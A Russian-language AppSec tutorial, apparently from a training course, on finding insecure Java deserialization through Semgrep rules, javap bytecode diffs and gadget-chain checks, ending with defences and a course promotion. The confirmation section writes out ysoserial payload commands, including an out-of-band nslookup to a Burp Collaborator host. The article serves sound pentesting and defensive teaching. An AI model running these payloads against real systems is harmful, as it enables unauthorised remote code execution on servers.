Перейти к содержимому

Небезопасная десериализация Java: как найти уязвимость через статический анализ и дифф байткода

Небезопасная десериализация Java: как найти уязвимость через статический анализ и дифф байткода
Время чтения: 12 мин.

Представь: банковский бэкенд на Spring, контроллер принимает Base64-строку из POST-параметра, декодирует в байты и кидает прямиком в ObjectInputStream.readObject(). Без фильтрации классов. Без проверки подписи. Вообще без ничего. Два года в продакшене, ноль алертов от WAF (Web Application Firewall — фильтр HTTP-трафика на периметре сети), полный RCE (Remote Code Execution — удалённое выполнение произвольных команд на сервере). Такие штуки находятся на пентестах регулярно. Дальше — воспроизводимый маршрут от первого подозрения до подтверждённого эксплойта: статический анализ кода Java, ручной дифф байткода и проверка цепочки гаджетов.

Бизнес-логика атаки: зачем злоумышленнику уязвимость десериализации Java

Прежде чем открывать Semgrep и javap, разберёмся — что именно получает атакующий и почему небезопасная десериализация Java стоит особняком среди критических уязвимостей.

Сериализация — преобразование Java-объекта в последовательность байтов для хранения или передачи по сети. Десериализация — обратный процесс: байты превращаются в живой объект со всеми полями, методами и состоянием. Проблема начинается, когда приложение десериализует данные из недоверенного источника — например, из HTTP-запроса пользователя. JVM честно восстанавливает объект и вызывает его readObject(), не спрашивая, а стоит ли.

Уязвимость классифицирована как CWE-502 (CWE, Common Weakness Enumeration — систематизированный каталог типов уязвимостей; если встретишь CWE-номер в отчёте — это ссылка на конкретный тип бага): Deserialization of Untrusted Data. Последствия по каталогу CWE затрагивают три направления: модификация данных приложения (Integrity), отказ в обслуживании через потребление ресурсов CPU (Availability: DoS), а в худшем случае — выполнение произвольного кода. Уязвимости сериализации объектов подвержены Java, Ruby, PHP, Python и JavaScript — но в Java-экосистеме они бьют больнее всего из-за богатства classpath’а enterprise-приложений.

В рейтинге OWASP Top 10 2021 небезопасная десериализация входит в категорию A08: Software and Data Integrity Failures — нарушения целостности данных и программного обеспечения.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — её идентификаторы; если ты пока не работал с ATT&CK — это по сути энциклопедия того, как атакуют на практике) эксплуатация десериализации в публичном веб-приложении ложится на технику T1190 — Exploit Public-Facing Application (тактика Initial Access). Атакующий отправляет специально сформированный сериализованный объект на доступный эндпоинт — и получает шелл на сервере. Дальше — перемещение по внутренней сети, кража данных, бэкдоры. В банковском контексте это прямой доступ к платёжной инфраструктуре.

Два условия для эксплуатации

По OWASP Deserialization Cheat Sheet и реальным кейсам, для успешной атаки нужны два условия одновременно:

  1. Приложение десериализует данные из недоверенного источника — через ObjectInputStream.readObject(), XMLDecoder, XStream.fromXML() или аналоги
  2. В classpath присутствуют классы с gadget chain’ами — classpath (набор библиотек и классов, доступных приложению при запуске) содержит библиотеки с цепочками вызовов, которые приводят к выполнению произвольного кода

Gadget chain (цепочка гаджетов) — последовательность вызовов методов через классы, уже присутствующие в приложении. Цепочка запускается автоматически при десериализации и заканчивается выполнением произвольной команды. Атакующий не приносит свой код — он переиспользует то, что уже лежит в библиотеках. Звучит элегантно, и это действительно одна из самых красивых (и опасных) техник.

Принципиальный нюанс, который подчёркивают в PortSwigger Web Security Academy: уязвимость — сам факт десериализации пользовательского ввода, а не наличие конкретных gadget chain’ов. Полагаться на устранение цепочек — тупик: в приложении с десятками зависимостей новые гаджеты обнаруживаются регулярно. Защита строится на уровне входной точки десериализации, а не на попытках перечислить все опасные классы.

SAST анализ Java-приложений: находим ObjectInputStream

Первый этап — статический анализ кода, или SAST (Static Application Security Testing — автоматизированный поиск уязвимостей в исходном коде без его запуска; по сути — умный grep на стероидах). Задача: обнаружить все точки, где приложение вызывает десериализацию, и понять, какие из них достижимы из пользовательского ввода.

Предусловие: установленный Semgrep (open-source инструмент для поиска паттернов в коде; ставится через pip install semgrep или brew install semgrep), доступ к исходному коду проекта.

Что искать при code review безопасности Java

По OWASP Deserialization Cheat Sheet, полный перечень опасных конструкций:

  • ObjectInputStream с методами readObject(), readObjectNoData(), readResolve(), readExternal(), readUnshared()
  • XMLDecoder с пользовательскими параметрами
  • XStream с методом fromXML() (версии до v1.4.6 подтверждённо уязвимы)
  • Любой класс, реализующий Serializable с переопределённым readObject()

При black-box анализе (когда исходного кода нет, а доступен только трафик) Java-сериализованные объекты распознаются по характерным сигнатурам: AC ED 00 05 в hex-представлении или rO0 в начале Base64-строки. Заголовок Content-Type: application/x-java-serialized-object — редкий, но надёжный маркер нативной Java-сериализации (на практике основной метод детекции — байтовые сигнатуры AC ED 00 05 / rO0). Сериализованные объекты часто прячутся в cookies, скрытых полях форм и параметрах API.

Правило Semgrep для поиска десериализации

Semgrep позволяет написать YAML-правило, которое найдёт все вызовы ObjectInputStream.readObject() в проекте. Запуск: semgrep --config deser-check.yaml ./src. Каждый match в выводе содержит имя файла, номер строки и фрагмент кода — потенциальный sink (точка, куда данные попадают для обработки).

rules:
  - id: java-insecure-deserialization
    patterns:
      - pattern: |
          ObjectInputStream $OIS = ...;
          ...
          $OIS.readObject();
    message: "ObjectInputStream.readObject() — проверить источник данных"
    languages: [java]
    severity: ERROR

Ожидаемый результат: список файлов и строк с вызовами readObject(). Если Semgrep ничего не нашёл — либо приложение не использует нативную Java-сериализацию (хорошо), либо десериализация скрыта за абстракциями фреймворка (тогда расширяй правило на XStream.fromXML() и XMLDecoder). На типичном enterprise-проекте на Spring обнаруживаются десятки match’ей — но далеко не каждый опасен.

Отделяем опасное от безопасного

Semgrep нашёл sink’и — дальше ручной аудит кода AppSec. Прослеживаем путь данных от источника (откуда пришли байты) до вызова readObject():

  • Красный флаг: ObjectInputStream создаётся из request.getInputStream(), request.getParameter() или из данных, декодированных из Base64-параметра. Прямой пользовательский ввод, полностью контролируемый атакующим
  • Жёлтый флаг: данные приходят из очереди сообщений (JMS, Kafka) или из внешнего API. Зависит от того, кто контролирует источник и есть ли валидация на входе в очередь
  • Условно безопасно: источник — файл из внутреннего хранилища или конфигурация. Риск ниже, но не нулевой: если атакующий контролирует содержимое файла через другую уязвимость (path traversal, SSRF), десериализация снова становится вектором

В рассматриваемом сценарии Semgrep обнаружил десятки вызовов readObject(). Несколько из них принимали данные из HTTP-запросов. Один — тот самый контроллер, где Base64-строка из POST-параметра декодировалась в byte[], оборачивалась в ByteArrayInputStream, передавалась в ObjectInputStream и вызывался readObject(). Между пользовательским вводом и десериализацией — ноль проверок. Чистый путь.

Поиск уязвимостей в байткоде Java: дифф через javap

Исходный код есть не всегда. На пентесте часто доступны только скомпилированные .jar или .class файлы. Здесь начинается анализ байткода на уязвимости — reverse engineering скомпилированного Java-кода, чтобы понять, что происходит при десериализации и насколько (не)полно работает патч вендора.

Предусловие: JDK с утилитой javap (входит в стандартную поставку любого JDK начиная с версии 1.2), опционально — декомпиляторы CFR или Procyon для получения читаемого Java-кода из .class файлов.

Зачем нужен дифф байткода

Типичная ситуация: вендор выпустил патч для библиотеки, закрывающий уязвимость десериализации. В changelog написано «fixed security issue» — и больше ничего. Чтобы понять, что именно изменилось и достаточен ли фикс, сравниваем байткод до и после патча. Это не академическое упражнение: патч нередко закрывает один вектор атаки, оставляя остальные открытыми.

Пошаговый процесс диффа

Шаг 1. Извлечь .class из .jar. JAR — обычный ZIP-архив: jar xf library-1.0.jar com/example/Handler.class. Результат: файл Handler.class появится в соответствующей директории. Проверка: ls com/example/Handler.class.

Шаг 2. Дизассемблировать обе версии и сравнить. Флаг -c выводит байткод-инструкции, -p показывает приватные методы (а readObject() почти всегда private):

javap -c -p -classpath old-lib.jar com.example.Handler > old.txt
javap -c -p -classpath new-lib.jar com.example.Handler > new.txt
diff old.txt new.txt

Ожидаемый результат: diff покажет строки, добавленные или удалённые в новой версии. Пустой вывод — класс не изменился, фикс в другом месте. Изменения в методе readObject или появление нового метода resolveClass — фикс затронул логику десериализации.

Шаг 3. Интерпретировать diff — ищем конкретные паттерны.

Что искать в байткоде

В дизассемблированном выводе javap ключевые инструкции:

  • invokevirtual java/io/ObjectInputStream.readObject — точка десериализации. Если она осталась без окружающих проверок в обеих версиях — фикс не затронул этот метод
  • checkcast — приведение типа после десериализации. checkcast java/lang/Object без последующего instanceof означает: приложение принимает объект любого класса без валидации типа
  • Появление вызова resolveClass в новой версии — OWASP рекомендует переопределять ObjectInputStream.resolveClass() с белым списком разрешённых классов. Если в diff’е появился invokevirtual resolveClass с проверкой через String.equals — фикс есть, но нужно проверить полноту белого списка
  • ObjectInputFilter — стандартный механизм фильтрации в Java 9+. Появление вызовов setObjectInputFilter в diff’е говорит о современном подходе к защите

На одном проекте я сравнивал байткод библиотеки до и после патча. Фикс добавлял проверку resolveClass только для трёх конкретных классов из Commons Collections — остальные проходили свободно. Вектор через Groovy оставался полностью открытым. Без диффа байткода это было бы невозможно понять: changelog просто говорил «security fix». Три слова — и ложное чувство безопасности.

Gadget chain Java: от sink до подтверждённой эксплуатации

Нашли sink через SAST, убедились через дифф байткода, что фильтрации нет или она неполная. Финальный шаг — подтвердить, что в classpath приложения есть библиотеки с известными gadget chain’ами и что поиск RCE через десериализацию завершится результатом.

Проверка classpath на известные гаджеты

Проверяем зависимости проекта. Если доступен pom.xml (Maven) или build.gradle (Gradle) — смотрим напрямую. Если доступен только .jar — распаковываем и изучаем META-INF/MANIFEST.MF, META-INF/maven/ и список .class файлов по пакетам.

Библиотеки с публично известными gadget chain’ами (по данным ysoserial — инструмент для генерации payload’ов через известные цепочки десериализации):

Библиотека Chain в ysoserial Результат эксплуатации
Commons Collections 3.x / 4.0 CommonsCollections1–7 RCE
Groovy 2.3.x–2.4.x Groovy1 RCE через MethodClosure
Spring Framework Spring1, Spring2 RCE
Apache Commons FileUpload FileUpload1 Запись произвольных файлов
JDK 7u21+ (историческая метка первого обнаружения; работает на ряде версий JDK 7/8) Jdk7u21 RCE через AnnotationInvocationHandler

Если ни одна из этих библиотек не найдена — это не значит, что приложение безопасно. Публичного chain’а пока нет — но кастомные классы приложения с побочными эффектами в readObject() тоже могут быть звеньями цепочки. Для глубокого поиска таких гаджетов используют GadgetInspector — инструмент, который строит граф вызовов по всему classpath и ищет пути от readObject() до опасных операций (Runtime.exec, FileOutputStream и т.д.).

Генерация и отправка payload

ysoserial генерирует готовый сериализованный объект одной командой: java -jar ysoserial.jar CommonsCollections1 "id". Результат — бинарный поток, который при десериализации через readObject() выполнит команду id на сервере, если в classpath есть Commons Collections подходящей версии.

Предусловие: JDK 8 для сборки и запуска ysoserial (требование зависимостей; версия JRE на целевом сервере должна поддерживать конкретный gadget chain — некоторые chain’ы не работают на JDK 11+ из-за модульной системы), скачанный ysoserial.jar.

На практике это перебор: отправляем payload’ы для разных chain’ов и смотрим на реакцию сервера. Если обратной связи нет (blind-сценарий — сервер не возвращает вывод команды), используем out-of-band взаимодействие: java -jar ysoserial.jar CommonsCollections1 "nslookup unique-id.burpcollaborator.net" — и ждём DNS-запрос на контролируемом Burp Collaborator. DNS-запрос пришёл — RCE подтверждён. Просто и надёжно.

В рассматриваемом сценарии сработал chain Groovy1: в classpath лежала уязвимая версия Groovy. Механизм цепочки: ConvertedClosure оборачивает MethodClosure, содержащий ОС-команду. При десериализации вызов перенаправляется через ConvertedClosure в замыкание — и команда выполняется. Конкретная механика зависит от версии chain’а — детали в исходниках ysoserial payloads/Groovy1.java. Здесь принципиально то, что проверка прошла: фильтрации нет, gadget chain доступен, DNS-запрос дошёл.

Встраиваем обнаружение десериализации в AppSec pipeline

Найти уязвимость на пентесте — полезно. Сделать так, чтобы подобный код не попадал в продакшен — на порядок ценнее.

Автоматизация через CI

Правило Semgrep из раздела выше добавляется в CI одной строкой (GitHub Actions, GitLab CI): semgrep --config ./rules/deser-check.yaml --error ./src. Флаг --error роняет билд при обнаружении match’а. Разработчик получает конкретное указание: файл, строка, описание проблемы — до того, как код попал в основную ветку.

Для более глубокого анализа — CodeQL от GitHub. CodeQL строит полный граф потоков данных (taint analysis — отслеживание пути пользовательского ввода через весь код; если Semgrep — это grep на стероидах, то CodeQL — это полноценный статический анализатор, который понимает «куда утекают данные») по проекту и находит цепочки, где HTTP-параметр достигает readObject() через произвольное количество промежуточных вызовов. Стандартные запросы CodeQL для Java уже включают правила обнаружения ObjectInputStream уязвимостей.

Защита на уровне кода

По OWASP Deserialization Cheat Sheet, рекомендованные меры в порядке приоритета:

  • Не десериализовать пользовательский ввод вообще. Заменить нативную Java-сериализацию на JSON через Jackson или Gson — формат, где readObject() не вызывается автоматически. Единственная мера, которая закрывает проблему полностью. Всё остальное — костыли разной степени надёжности
  • Переопределить resolveClass(). Создать подкласс ObjectInputStream с белым списком разрешённых классов — по модели LookAheadObjectInputStream из документации OWASP. Класс выбрасывает InvalidClassException при попытке десериализовать неразрешённый класс
  • ObjectInputFilter (Java 9+). Стандартный JVM-механизм программной фильтрации классов при десериализации. Задаётся через ObjectInputStream.setObjectInputFilter() или глобально через JVM-параметр
  • Подписывать данные. HMAC-подпись сериализованного потока; подпись не совпала — данные отбрасываются до вызова readObject()
  • Agent-based hardening. Если нет возможности менять код приложения — JVM-агент, который перехватывает все вызовы ObjectInputStream и применяет блок-лист опасных классов. Подключается параметром -javaagent:name-of-agent.jar

Запомни одну вещь: любая проверка после десериализации бесполезна. Gadget chain выполняется внутри readObject(), до того как приложение получит результат и начнёт что-либо валидировать. Защита работает только до или во время десериализации.

Таблица предусловий и ограничений

Техника Нужен исходный код Нужен .jar/.class Версия Java Когда применять
Semgrep SAST Да Нет Любая Code review, CI/CD
javap дифф байткода Нет Да JDK 8+ Анализ патчей, black-box аудит
ysoserial Нет Нет (только endpoint) Java 8 для генерации Подтверждение RCE на пентесте
CodeQL taint analysis Да Нет Любая Глубокий анализ потоков данных
GadgetInspector Нет Да Java 8+ Поиск новых gadget chain’ов

В подобных сценариях ObjectInputStream.readObject() может годами висеть на прямом пути от HTTP-запроса в бэкенде. DAST-сканер не умел формировать сериализованные payload’ы. SAST-правила покрывали SQL-инъекции и XSS, но не десериализацию. Код написали задолго до того, как команда задумалась о безопасности — и он тихо жил в продакшене, пока не пришёл аудит.

Моя позиция: в 2025 году вызов readObject() на пользовательских данных без фильтрации — не «legacy-долг» и не «технический компромисс». Инструментарий для обнаружения бесплатен: одно правило Semgrep на восемь строк YAML, один прогон в CI — и такая уязвимость не проходит в прод. Проблема не в сложности защиты, а в том, что Java-разработчики до сих пор копируют паттерны десятилетней давности из Stack Overflow, где нативная сериализация использовалась для всего — от кэширования сессий до межсервисного обмена.

Новые gadget chain’ы будут появляться — каждая библиотека с Serializable-классами и побочными эффектами в readObject() расширяет атакующую поверхность. Единственная стратегия, которая работает долгосрочно, — не десериализовать недоверенные данные вообще. Не фильтровать, не подписывать, а заменить формат: JSON, Protocol Buffers — что угодно, где readObject() не вызывается автоматически. Всё остальное — временные заплатки. Если ты в начале пути — на IB Basics базу закрывают за два месяца, без воды.

Эту тему и смежные навыки разбирают на практике в курсе «Профессия: инженер по безопасности приложений (AppSec)» Codeby Academy.